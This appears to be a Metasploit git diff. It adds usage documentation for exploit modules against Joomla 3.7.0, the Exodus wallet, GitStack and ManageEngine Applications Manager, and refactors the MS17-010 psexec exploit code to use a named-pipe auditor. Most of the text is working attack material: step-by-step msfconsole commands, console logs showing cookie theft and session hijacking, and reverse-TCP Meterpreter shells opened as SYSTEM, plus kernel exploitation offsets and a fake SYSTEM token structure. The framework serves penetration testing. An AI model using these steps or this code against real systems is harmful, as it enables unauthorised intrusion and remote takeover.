|
||||||
|
127.0.0.1 etcd.data etcd.keys text/json etcd keys /root/.msf4/loot/20180328092245_default_127.0.0.1_etcd.data_260058.txt
|
||||||
|
|
||||||
|
msf5 auxiliary(scanner/etcd/open_key_scanner) > services
|
||||||
|
Services
|
||||||
|
========
|
||||||
|
|
||||||
|
host port proto name state info
|
||||||
|
---- ---- ----- ---- ----- ----
|
||||||
|
127.0.0.1 2379 tcp etcd open {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
|
||||||
|
```
|
|
@ -0,0 +1,45 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits a SQL Injection vulnerability in the `com_fields` component which was introduced to the core of Joomla in version 3.7.0.
|
||||||
|
With the SQLi, it's possible to enumerate cookies of Administrator and Super User users, and hijack one of their sessions. If no Super User is authenticated, the RCE portion will not work. If a session hijack is available, one of the website templates is identified, and our payload is added to the template as a new file, and then executed.
|
||||||
|
|
||||||
|
## Verification
|
||||||
|
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Do: `use exploit/unix/webapp/joomla_comfields_sqli_rce`
|
||||||
|
3. Do: `set rhost [ip]`
|
||||||
|
4. Do: `set tageturi [uri]`
|
||||||
|
5. Do: `exploit`
|
||||||
|
6. Get a shell
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Joomla 3.7.0 on Windows 7 SP1 with Super User authenticated
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 exploit(unix/webapp/joomla_comfields_sqli_rce) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.22.222.138:4444
|
||||||
|
[*] 172.22.222.122:80 - Retrieved table prefix [ unqi0 ]
|
||||||
|
[*] 172.22.222.122:80 - Retrieved cookie [ ejn9i2c5srk6gchhai4cikdkm3 ]
|
||||||
|
[*] 172.22.222.122:80 - Retrieved unauthenticated cookie [ 33effe3d96e4c5e749f33b9d639ca36b ]
|
||||||
|
[+] 172.22.222.122:80 - Successfully authenticated
|
||||||
|
[*] 172.22.222.122:80 - Creating file [ zM8ZvIAAwxE.php ]
|
||||||
|
[*] 172.22.222.122:80 - Following redirect to [ /joomlatest/administrator/index.php?option=com_templates&view=template&id=503&file=L3pNOFp2SUFBd3hFLnBocA%3D%3D ]
|
||||||
|
[*] 172.22.222.122:80 - Token [ df2760a9614efc2566917148ee379c42 ] retrieved
|
||||||
|
[*] 172.22.222.122:80 - Template path [ /templates/beez3/ ] retrieved
|
||||||
|
[*] 172.22.222.122:80 - Insert payload into file [ zM8ZvIAAwxE.php ]
|
||||||
|
[*] 172.22.222.122:80 - Payload data inserted into [ zM8ZvIAAwxE.php ]
|
||||||
|
[*] 172.22.222.122:80 - Executing payload
|
||||||
|
[*] Sending stage (37543 bytes) to 172.22.222.122
|
||||||
|
[+] Deleted zM8ZvIAAwxE.php
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: SYSTEM (0)
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : WIN-V438RLMESAE
|
||||||
|
OS : Windows NT WIN-V438RLMESAE 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) AMD64
|
||||||
|
Meterpreter : php/windows
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,47 @@
|
||||||
|
## Description
|
||||||
|
This module exploits an Electron remote code execution vulnerability in Exodus wallet. Using the Electron remote code execution vulnerability in protocol handler is possible to inject command line arguments via URI handler. This module has been tested successfully on Windows 10 Enterprise x64. The vulnerable application is available for download at [Exodus v1.38.0](https://github.com/DanielRTeixeira/Exodus/raw/master/exodus-windows-x64-1.38.0.exe).
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
1. Install Exodus Wallet version `v1.38.0`
|
||||||
|
2. Start `msfconsole`
|
||||||
|
3. Do `use exploit/windows/browser/exodus`
|
||||||
|
4. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
|
||||||
|
5. Do `set LHOST ip`
|
||||||
|
6. Do `exploit`
|
||||||
|
7. On the target machine, browse to the malicious URL and launch Exodus
|
||||||
|
8. Verify the Meterpreter session is opened
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Exodus Wallet v1.38.0 on Windows 10 Enterprise x64
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/windows/browser/exodus
|
||||||
|
msf exploit(windows/browser/exodus) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||||
|
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||||
|
msf exploit(windows/browser/exodus) > set LHOST 172.16.40.5
|
||||||
|
LHOST => 172.16.40.5
|
||||||
|
msf exploit(windows/browser/exodus) > exploit
|
||||||
|
[*] Exploit running as background job 0.
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.16.40.5:4444
|
||||||
|
[*] Using URL: http://0.0.0.0:80/
|
||||||
|
msf exploit(windows/browser/exodus) > [*] Local IP: http://172.16.40.5:80/
|
||||||
|
[*] Server started.
|
||||||
|
[*] 172.16.40.149 exodus - Delivering Payload
|
||||||
|
[*] Sending stage (179779 bytes) to 172.16.40.149
|
||||||
|
[*] Meterpreter session 1 opened (172.16.40.5:4444 -> 172.16.40.149:49726) at 2018-02-23 15:40:17 +0000
|
||||||
|
|
||||||
|
msf exploit(windows/browser/exodus) > sessions 1
|
||||||
|
[*] Starting interaction with 1...
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : DESKTOP-PI8214R
|
||||||
|
OS : Windows 10 (Build 10586).
|
||||||
|
Architecture : x64
|
||||||
|
System Language : pt_PT
|
||||||
|
Domain : WORKGROUP
|
||||||
|
Logged On Users : 2
|
||||||
|
Meterpreter : x86/windows
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,68 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This
|
||||||
|
module exploits the vulnerability by sending unauthenticated REST API requests to put the
|
||||||
|
application in a vulnerable state, if needed, before sending a request to trigger the exploit.
|
||||||
|
These configuration changes are undone before the module exits. The module has been tested on
|
||||||
|
GitStack v2.3.10.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function.
|
||||||
|
|
||||||
|
To exploit the vulnerability, the repository web interface must be enabled, a repository must
|
||||||
|
exist, and a user must have access to the repository.
|
||||||
|
|
||||||
|
Note: A passwd file should be created by GitStack for local user accounts.
|
||||||
|
Default location: `C:\GitStack\data\passwdfile`.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
* Install a vulnerable GitStack application
|
||||||
|
* `./msfconsole`
|
||||||
|
* `use exploit/windows/http/gitstack_rce`
|
||||||
|
* `set rhost <rhost>`
|
||||||
|
* `set verbose true`
|
||||||
|
8 `run`
|
||||||
|
|
||||||
|
Note: You may have to run the exploit multiple times since the powershell that is generate has to
|
||||||
|
be under a certain size.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### GitStack v2.3.10 on Windows 7 SP1
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/windows/http/gitstack_rce
|
||||||
|
msf5 exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122
|
||||||
|
rhost => 172.22.222.122
|
||||||
|
msf5 exploit(windows/http/gitstack_rce) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf5 exploit(windows/http/gitstack_rce) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.22.222.131:4444
|
||||||
|
[*] Powershell command length: 6103
|
||||||
|
[-] Web interface is disabled
|
||||||
|
[-] No repositories found
|
||||||
|
[+] Web interface successfully enabled
|
||||||
|
[+] The repository has been successfully created
|
||||||
|
[+] Created user: ZROTE
|
||||||
|
[+] User ZROTE added to EsILm
|
||||||
|
[*] Sending stage (252483 bytes) to 172.22.222.122
|
||||||
|
[+] ZROTE removed from EsILm
|
||||||
|
[+] ZROTE has been deleted
|
||||||
|
[+] Web interface successfully disabled
|
||||||
|
[+] EsILm has been deleted
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: NT AUTHORITY\SYSTEM
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : WIN-V438RLMESAE
|
||||||
|
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||||
|
Architecture : x64
|
||||||
|
System Language : en_US
|
||||||
|
Domain : WORKGROUP
|
||||||
|
Logged On Users : 1
|
||||||
|
Meterpreter : x86/windows
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,46 @@
|
||||||
|
exploit/windows/http/manageengine_appmanager_exec.md## Vulnerable Application
|
||||||
|
This module exploits command injection vulnerability in the ManageEngine Applications Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer.
|
||||||
|
|
||||||
|
**Vulnerable Application Installation Steps**
|
||||||
|
|
||||||
|
Go to following website and download Windows version of the product. It comes with built-in Java and Postgresql so you don't need to install anything else.
|
||||||
|
[http://archives.manageengine.com/applications_manager/13630/](http://archives.manageengine.com/applications_manager/13630/)
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
A successful check of the exploit will look like this:
|
||||||
|
|
||||||
|
* Start `msfconsole`
|
||||||
|
* `use exploit/windows/http/manageengine_appmanager_exec`
|
||||||
|
* Set `RHOST <RHOST>`
|
||||||
|
* Set `PAYLOAD windows/meterpreter/reverse_tcp`
|
||||||
|
* Set `LHOST <LHOST>`
|
||||||
|
* Run `check`
|
||||||
|
* **Verify** that you are seeing `The target is vulnerable.` in console.
|
||||||
|
* Run `exploit`
|
||||||
|
* **Verify** that you are seeing `Triggering the vulnerability` in console.
|
||||||
|
* **Verify** that you are seeing `Sending stage to <TARGET>` in console.
|
||||||
|
* **Verify** that you have your shell.
|
||||||
|
|
||||||
|
## Demo
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 >
|
||||||
|
msf5 > use exploit/windows/http/manageengine_appmanager_exec
|
||||||
|
msf5 exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192
|
||||||
|
RHOST => 12.0.0.192
|
||||||
|
msf5 exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp
|
||||||
|
payload => windows/meterpreter/reverse_tcp
|
||||||
|
msf5 exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1
|
||||||
|
LHOST => 12.0.0.1
|
||||||
|
msf5 exploit(windows/http/manageengine_appmanager_exec) > check
|
||||||
|
[+] 12.0.0.192:9090 The target is vulnerable.
|
||||||
|
msf5 exploit(windows/http/manageengine_appmanager_exec) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 12.0.0.1:4444
|
||||||
|
[*] Trigerring the vulnerability
|
||||||
|
[*] Sending stage (179779 bytes) to 12.0.0.192
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: NT AUTHORITY\SYSTEM
|
||||||
|
```
|
|
@ -19,6 +19,11 @@ To be able to use exploit/windows/smb/ms17_010_psexec:
|
||||||
|
|
||||||
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
||||||
|
|
||||||
|
If you're having trouble configuring an anonymous named pipe,
|
||||||
|
Microsoft's
|
||||||
|
[documentation](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously)
|
||||||
|
on the topic may be helpful.
|
||||||
|
|
||||||
## Verification Steps
|
## Verification Steps
|
||||||
|
|
||||||
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
||||||
|
|
|
@ -165,7 +165,7 @@ module Scriptable
|
||||||
full_path = self.class.find_script_path(script_name)
|
full_path = self.class.find_script_path(script_name)
|
||||||
|
|
||||||
if full_path.nil?
|
if full_path.nil?
|
||||||
print_error("The specified script could not be found: #{script_name}")
|
print_error("The specified #{self.type} session script could not be found: #{script_name}")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client'
|
||||||
require 'msf/core/exploit/smb/client/authenticated'
|
require 'msf/core/exploit/smb/client/authenticated'
|
||||||
require 'msf/core/exploit/smb/client/local_paths'
|
require 'msf/core/exploit/smb/client/local_paths'
|
||||||
require 'msf/core/exploit/smb/client/psexec'
|
require 'msf/core/exploit/smb/client/psexec'
|
||||||
|
require 'msf/core/exploit/smb/client/pipe_auditor'
|
||||||
require 'msf/core/exploit/smb/client/psexec_ms17_010'
|
require 'msf/core/exploit/smb/client/psexec_ms17_010'
|
||||||
require 'msf/core/exploit/smb/client/remote_paths'
|
require 'msf/core/exploit/smb/client/remote_paths'
|
||||||
require 'msf/core/exploit/smb/server'
|
require 'msf/core/exploit/smb/server'
|
||||||
|
|
|
@ -0,0 +1,61 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
#
|
||||||
|
# This mixin implements the pipe_auditor module's primary functionality
|
||||||
|
#
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Exploit::Remote::SMB::Client::PipeAuditor
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::SMB::Client
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
|
||||||
|
named_pipes = File.join(Msf::Config.data_directory, 'wordlists', 'named_pipes.txt')
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptPath.new('NAMED_PIPES', [true, 'List of named pipes to check', named_pipes])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check named pipes, returning the first optionally
|
||||||
|
#
|
||||||
|
# @param check_first [Array] Check the specified pipes first
|
||||||
|
# @param return_first [Boolean] Return the first pipe name and handle
|
||||||
|
# @return [Array] The list of found pipes (name and handle)
|
||||||
|
def check_named_pipes(check_first: [], return_first: false)
|
||||||
|
@found_pipes = []
|
||||||
|
|
||||||
|
if check_first.is_a?(Array)
|
||||||
|
check_first.delete_if { |pipe| pipe.blank? }
|
||||||
|
elsif check_first.is_a?(String) && check_first.present?
|
||||||
|
check_first = [check_first]
|
||||||
|
else
|
||||||
|
check_first = []
|
||||||
|
end
|
||||||
|
|
||||||
|
named_pipes = check_first + File.readlines(datastore['NAMED_PIPES'])
|
||||||
|
|
||||||
|
named_pipes.each do |pipe|
|
||||||
|
begin
|
||||||
|
pipe_name = pipe.strip
|
||||||
|
pipe_handle = self.simple.create_pipe(pipe_name, 'o')
|
||||||
|
|
||||||
|
# If we make it this far, it succeeded
|
||||||
|
vprint_status("Connected to named pipe: #{pipe_name}")
|
||||||
|
|
||||||
|
# This is for exploits like ms17_010_psexec
|
||||||
|
return pipe_name, pipe_handle if return_first
|
||||||
|
|
||||||
|
@found_pipes << [pipe_name, pipe_handle]
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
vprint_error("Inaccessible named pipe: #{pipe_name} - #{e.message}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
@found_pipes
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,8 +1,8 @@
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
|
|
||||||
include Msf::Exploit::Remote::SMB::Client::Psexec
|
include Msf::Exploit::Remote::SMB::Client::Psexec
|
||||||
|
include Msf::Exploit::Remote::SMB::Client::PipeAuditor
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -231,7 +231,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
return userAndGroupsAddr, userAndGroupCount
|
return userAndGroupsAddr, userAndGroupCount
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def write_what_where(what, where)
|
def write_what_where(what, where)
|
||||||
if where == 0
|
if where == 0
|
||||||
raise MS17_010_Error, 'Attempted to write to a NULL pointer!'
|
raise MS17_010_Error, 'Attempted to write to a NULL pointer!'
|
||||||
|
@ -299,7 +298,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
def fingerprint_os(os)
|
def fingerprint_os(os)
|
||||||
print_status("Target OS: #{os}")
|
print_status("Target OS: #{os}")
|
||||||
|
|
||||||
if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012'
|
if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012' or os.starts_with? 'Windows RT 9200'
|
||||||
@ctx['os'] = 'WIN8'
|
@ctx['os'] = 'WIN8'
|
||||||
@ctx['go_fish'] = false
|
@ctx['go_fish'] = false
|
||||||
elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2'
|
elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2'
|
||||||
|
@ -331,26 +330,17 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def find_accessible_named_pipe()
|
def find_accessible_named_pipe
|
||||||
pipes = if datastore['NAMEDPIPE'] != '' then [datastore['NAMEDPIPE']] else @@target_pipes end
|
@ctx['pipe_name'], pipe_handle = check_named_pipes(
|
||||||
|
check_first: datastore['NAMEDPIPE'],
|
||||||
|
return_first: true
|
||||||
|
)
|
||||||
|
|
||||||
pipes.each do |pipe|
|
if @ctx['pipe_name'] && pipe_handle
|
||||||
begin
|
pipe_handle
|
||||||
pipe_name = "#{pipe}"
|
else
|
||||||
pipe_handle = self.simple.create_pipe(pipe_name, 'o')
|
raise MS17_010_Error, 'Unable to find accessible named pipe!'
|
||||||
|
|
||||||
# if we make it this far, it succeeded
|
|
||||||
vprint_status("Connected to named pipe: #{pipe}")
|
|
||||||
|
|
||||||
@ctx['pipe_name'] = pipe_name
|
|
||||||
return pipe_handle
|
|
||||||
|
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
||||||
vprint_error("Inaccessible named pipe: #{pipe} - #{e.message}")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
raise MS17_010_Error, "Unable to find accessible named pipe!"
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# todo: spice it up with EternalSynergy output
|
# todo: spice it up with EternalSynergy output
|
||||||
|
@ -368,7 +358,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
# groom: srv buffer header
|
# groom: srv buffer header
|
||||||
@ctx['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + @ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'], @ctx['POOL_ALIGN'])
|
@ctx['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + @ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'], @ctx['POOL_ALIGN'])
|
||||||
|
|
||||||
|
|
||||||
# groom paramters and data is alignment by 8 because it is NT_TRANS
|
# groom paramters and data is alignment by 8 because it is NT_TRANS
|
||||||
@ctx['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - @ctx['TRANS_SIZE'] # alignment (4)
|
@ctx['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - @ctx['TRANS_SIZE'] # alignment (4)
|
||||||
|
|
||||||
|
@ -376,7 +365,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
bridePoolSize = 0x1000 - (@ctx['GROOM_POOL_SIZE'] & 0xfff) - @ctx['FRAG_POOL_SIZE']
|
bridePoolSize = 0x1000 - (@ctx['GROOM_POOL_SIZE'] & 0xfff) - @ctx['FRAG_POOL_SIZE']
|
||||||
@ctx['BRIDE_TRANS_SIZE'] = bridePoolSize - (@ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'])
|
@ctx['BRIDE_TRANS_SIZE'] = bridePoolSize - (@ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'])
|
||||||
|
|
||||||
|
|
||||||
if datastore['DBGTRACE']
|
if datastore['DBGTRACE']
|
||||||
print_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
|
print_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
|
||||||
print_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}")
|
print_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}")
|
||||||
|
@ -391,7 +379,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
for i in 0..datastore['LEAKATTEMPTS']
|
for i in 0..datastore['LEAKATTEMPTS']
|
||||||
reset_extra_multiplex_id()
|
reset_extra_multiplex_id()
|
||||||
|
|
||||||
|
|
||||||
vprint_status("Attempting leak ##{i.to_s}")
|
vprint_status("Attempting leak ##{i.to_s}")
|
||||||
|
|
||||||
leakInfo = align_transaction_and_leak(pipe_handle)
|
leakInfo = align_transaction_and_leak(pipe_handle)
|
||||||
|
@ -416,7 +403,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
pipe_handle = self.simple.create_pipe(@ctx['pipe_name'], 'o')
|
pipe_handle = self.simple.create_pipe(@ctx['pipe_name'], 'o')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
@ctx['fid'] = pipe_handle.file_id
|
@ctx['fid'] = pipe_handle.file_id
|
||||||
@ctx['pipe_handle'] = pipe_handle
|
@ctx['pipe_handle'] = pipe_handle
|
||||||
@ctx = @ctx.merge(leakInfo)
|
@ctx = @ctx.merge(leakInfo)
|
||||||
|
@ -699,7 +685,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
if not success
|
if not success
|
||||||
print_status("<---------------- | Leaving Danger Zone | ---------------->")
|
print_status("<---------------- | Leaving Danger Zone | ---------------->")
|
||||||
raise MS17_010_Error, "Unable to control groom transaction"
|
raise MS17_010_Error, "Unable to control groom transaction"
|
||||||
|
@ -823,7 +808,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
@ctx['trans2_addr'] = trans2_addr
|
@ctx['trans2_addr'] = trans2_addr
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
|
def create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
|
||||||
xSID_SYSTEM = "\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00" # pack('<BB5xB'+'I', 1, 1, 5, 18)
|
xSID_SYSTEM = "\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00" # pack('<BB5xB'+'I', 1, 1, 5, 18)
|
||||||
xSID_ADMINISTRATORS = "\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00" #pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
|
xSID_ADMINISTRATORS = "\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00" #pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
|
||||||
|
@ -1182,254 +1166,222 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
return (size + align_size - 1) & ~(align_size - 1)
|
return (size + align_size - 1) & ~(align_size - 1)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
WIN7_64_SESSION_INFO = {
|
||||||
|
'SESSION_SECCTX_OFFSET'=> 0xa0,
|
||||||
|
'SESSION_ISNULL_OFFSET'=> 0xba,
|
||||||
|
'FAKE_SECCTX'=> [0x28022a, 1, 0, 0, 2, 0, 1].pack("VVQ<Q<VVC"), #pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
|
||||||
|
'SECCTX_SIZE'=> 0x28,
|
||||||
|
}
|
||||||
|
|
||||||
# we will iter these if one is not specified
|
WIN7_32_SESSION_INFO = {
|
||||||
@@target_pipes = [
|
'SESSION_SECCTX_OFFSET'=> 0x80,
|
||||||
'netlogon',
|
'SESSION_ISNULL_OFFSET'=> 0x96,
|
||||||
'lsarpc',
|
'FAKE_SECCTX'=> [0x1c022a, 1, 0, 0, 2, 0, 1].pack("VVVVVVC"), #pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
|
||||||
'samr',
|
'SECCTX_SIZE'=> 0x1c,
|
||||||
'browser',
|
}
|
||||||
'atsvc',
|
|
||||||
'DAV RPC SERVICE',
|
|
||||||
'epmapper',
|
|
||||||
'eventlog',
|
|
||||||
'InitShutdown',
|
|
||||||
'keysvc',
|
|
||||||
'lsass',
|
|
||||||
'LSM_API_service',
|
|
||||||
'ntsvcs',
|
|
||||||
'plugplay',
|
|
||||||
'protected_storage',
|
|
||||||
'router',
|
|
||||||
'SapiServerPipeS-1-5-5-0-70123',
|
|
||||||
'scerpc',
|
|
||||||
'srvsvc',
|
|
||||||
'tapsrv',
|
|
||||||
'trkwks',
|
|
||||||
'W32TIME_ALT',
|
|
||||||
'wkssvc',
|
|
||||||
'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
|
|
||||||
'db2remotecmd'
|
|
||||||
]
|
|
||||||
|
|
||||||
WIN7_64_SESSION_INFO = {
|
# win8+ info
|
||||||
'SESSION_SECCTX_OFFSET'=> 0xa0,
|
WIN8_64_SESSION_INFO = {
|
||||||
'SESSION_ISNULL_OFFSET'=> 0xba,
|
'SESSION_SECCTX_OFFSET'=> 0xb0,
|
||||||
'FAKE_SECCTX'=> [0x28022a, 1, 0, 0, 2, 0, 1].pack("VVQ<Q<VVC"), #pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
|
'SESSION_ISNULL_OFFSET'=> 0xca,
|
||||||
'SECCTX_SIZE'=> 0x28,
|
'FAKE_SECCTX'=> [0x38022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVQ<Q<Q<Q<VVC"), #pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
||||||
}
|
'SECCTX_SIZE'=> 0x38,
|
||||||
|
}
|
||||||
|
|
||||||
WIN7_32_SESSION_INFO = {
|
WIN8_32_SESSION_INFO = {
|
||||||
'SESSION_SECCTX_OFFSET'=> 0x80,
|
'SESSION_SECCTX_OFFSET'=> 0x88,
|
||||||
'SESSION_ISNULL_OFFSET'=> 0x96,
|
'SESSION_ISNULL_OFFSET'=> 0x9e,
|
||||||
'FAKE_SECCTX'=> [0x1c022a, 1, 0, 0, 2, 0, 1].pack("VVVVVVC"), #pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
|
'FAKE_SECCTX'=> [0x24022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVVVVVVVC"), # pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
||||||
'SECCTX_SIZE'=> 0x1c,
|
'SECCTX_SIZE'=> 0x24,
|
||||||
}
|
}
|
||||||
|
|
||||||
# win8+ info
|
# win 2003 (xp 64 bit is win 2003)
|
||||||
WIN8_64_SESSION_INFO = {
|
WIN2K3_64_SESSION_INFO = {
|
||||||
'SESSION_SECCTX_OFFSET'=> 0xb0,
|
'SESSION_ISNULL_OFFSET'=> 0xba,
|
||||||
'SESSION_ISNULL_OFFSET'=> 0xca,
|
'SESSION_SECCTX_OFFSET'=> 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
|
||||||
'FAKE_SECCTX'=> [0x38022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVQ<Q<Q<Q<VVC"), #pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
'SECCTX_PCTXTHANDLE_OFFSET'=> 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
|
||||||
'SECCTX_SIZE'=> 0x38,
|
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x40,
|
||||||
}
|
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
|
||||||
|
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
|
||||||
|
}
|
||||||
|
|
||||||
WIN8_32_SESSION_INFO = {
|
WIN2K3_32_SESSION_INFO = {
|
||||||
'SESSION_SECCTX_OFFSET'=> 0x88,
|
'SESSION_ISNULL_OFFSET'=> 0x96,
|
||||||
'SESSION_ISNULL_OFFSET'=> 0x9e,
|
'SESSION_SECCTX_OFFSET'=> 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
|
||||||
